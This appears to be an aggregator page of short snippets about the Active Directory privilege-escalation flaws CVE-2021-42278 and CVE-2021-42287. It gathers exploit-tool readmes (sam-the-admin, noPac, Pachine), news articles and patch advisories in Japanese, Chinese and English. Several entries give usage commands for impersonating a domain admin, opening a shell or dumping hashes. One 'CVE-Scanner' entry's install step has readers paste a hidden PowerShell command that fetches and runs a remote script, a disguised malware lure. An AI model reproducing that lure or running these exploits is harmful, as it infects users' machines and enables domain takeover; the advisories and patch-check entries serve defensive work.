sam-the-admin

CVE-2021-42278 および CVE-2021-42287 を悪用し、標準ドメインユーザーから DA になりすます 既知の問題 Kali 以外では動作しません。後日更新します : 関連情報 CVE-2021-42287/CVE-2021-42278 武器化 sAMAccountName スプーフィング...

noPac

概要 CVE-2021-42278 と CVE-2021-42287 を悪用して、標準ドメインユーザーから DA を偽装します 元は sam-the-admin から変更されました。 使用方法 root@kitploit: SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. options: -h, --help show this help message and exi...

Pachine

Pachine PythonによるCVE-2021-42278 Active Directoryの権限昇格 の実装です。 インストール root@kitploit: $ pip3 install impacket 使用法 root@kitploit: Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation usage: pachine.py -h -scan -spn SPN -impersonate IMPERSONATE -domain-netbios NETBIOSNAME -computer-name...

CVE-Scanner

CVE-Scanner 🔍 CVE-Scannerは、CVE-2021-42287、CVE-2021-42278、およびその他のセキュリティ問題に関連する脆弱性をスキャンし、悪用するために設計されたツールです。このプロジェクトは、セキュリティ専門家や研究者に、システムのリスクを特定し軽減するための簡単な方法を提供することを目的としています。 目次 機能 インストール 使い方 対応CVE コントリビューション ライセンス 連絡先 機能 CVEスキャン ：アプリケーションの脆弱性を迅速に特定します。 悪用ツール ：特定のCVEに対するエクスプロイトを実行し、システムの防御力をテストします。...

noPac-detection

关于 CVE-2021-42278和CVE-2021-42287的检测脚本 使用 root@kitploit: The detection script uses the domain account credentials to determine the possibility of the vulnerabilities. usage: noPac-detection.py -h -debug -dc-ip -targetUser credentials optional arguments: -h, --help show this help message and exit...

noPac

关于 NoPac 漏洞利用工具，利用一些旧漏洞 CVE-2021-42278 和 CVE-2021-42287，以标准用户身份模拟域管理员。 不再有烦人的依赖，只有一个单一二进制文件，天哪我太爱 Go 了，Python 永远做不到。 -shell 标志只是启动 impacket-smbexec。你也可以直接使用被模拟账户的 ccache 文件。 做这个主要是为了测试 Impacket 的新 Go 实现（gopacket），说实话它挺酷的，这也是向永远不用碰 Python 迈出的一步，这总是好的。 另外没有清理功能，我可能以后会添加，说不准。 用法 root@kitploit: Usage...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/その他 スキャナー & エクスプロイター。 インストール 1. WIN + R キーを押します 2. 以下のコードをコピーして貼り付け、Enterキーを押します root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC を再起動します 使い方 1. CMD を開きます 2. fexke...

noPac

noPac CVE-2021-42278 および CVE-2021-42287 の悪用 元のプロジェクトnoPacの実装には問題がある可能性があり、ローカルでうまく動作しなかったため、sam-the-adminプロジェクトを参考にして修正しました。 使い方 root@kitploit: pip3 install -r requirements.txt GetShell python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell DumpHash python3 exp.py...

CosmicBeetle Deploys Custom ScRansom Ransomware, Partnering with RansomHub

The threat actor known as CosmicBeetle has debuted a new custom ransomware strain called ScRansom in attacks targeting small- and medium-sized businesses SMBs in Europe, Asia, Africa, and South America, while also likely working as an affiliate for RansomHub. "CosmicBeetle replaced its previously...

noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. optional arguments: -h, --help show thi...

Microsoft Windows Active Directory Privilege Escalation Multiple Vulnerabilities (CVE-2021-42278; CVE-2021-42287)

Multiple Privilege Escalation vulnerabilities exists in Microsoft Windows Active Directory. Successful exploitation of this vulnerability could allow a remote attacker to easily elevate their privilege to that of a domain admin once he compromise a regular user in the domain...

Two Active Directory Bugs Lead to Easy Windows Domain Takeover

A proof-of-concept tool has been published that leverages two Windows Active Directory bugs fixed last month that, when chained, can allow easy Windows domain takeover. In a Monday alert, Microsoft urged organizations to immediately patch the pair of bugs, tracked as CVE-2021-42287 and...

Exploit for CVE-2021-42278

Pachine Python implementation for CVE-2021-42278 Active Dire...

CVE-2021-42278

creationtimestamp| type| source ---|---|--- 2021-12-11 19:44:35+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/952 2021-12-11 20:46:13+00:00| published-proof-of-concept| https://t.me/BlueRedTeam/1328 2021-12-12 14:54:29+00:00| published-proof-of-concept| https://t.me/m1swarr1or/29...

Exploit for CVE-2021-42278

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...

Exploit for CVE-2021-42278

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...

CVE-2021-42278

Active Directory Domain Services Elevation of Privilege Vulnerability...

CVE-2021-42278

CVE-2021-42278 is an Active Directory Domain Services privilege-escalation vulnerability in Microsoft Windows. The connected documents describe exploits/frameworks (e.g., Pachine, sam-the-admin, noPac) that impersonate a Domain Administrator from a standard domain user using Kerberos delegation t...

Microsoft Windows Multiple Vulnerabilities (KB5007192)

This host is missing a critical security update according to Microsoft KB5007192 SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

KB5007192: Windows 10 Version 1607 and Windows Server 2016 Security Update (November 2021)

The remote Windows host is missing security update 5007192. It is, therefore, affected by multiple vulnerabilities: - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. CVE-2021-38631, CVE-2021-38665, CVE-2021-41371 - A remote code...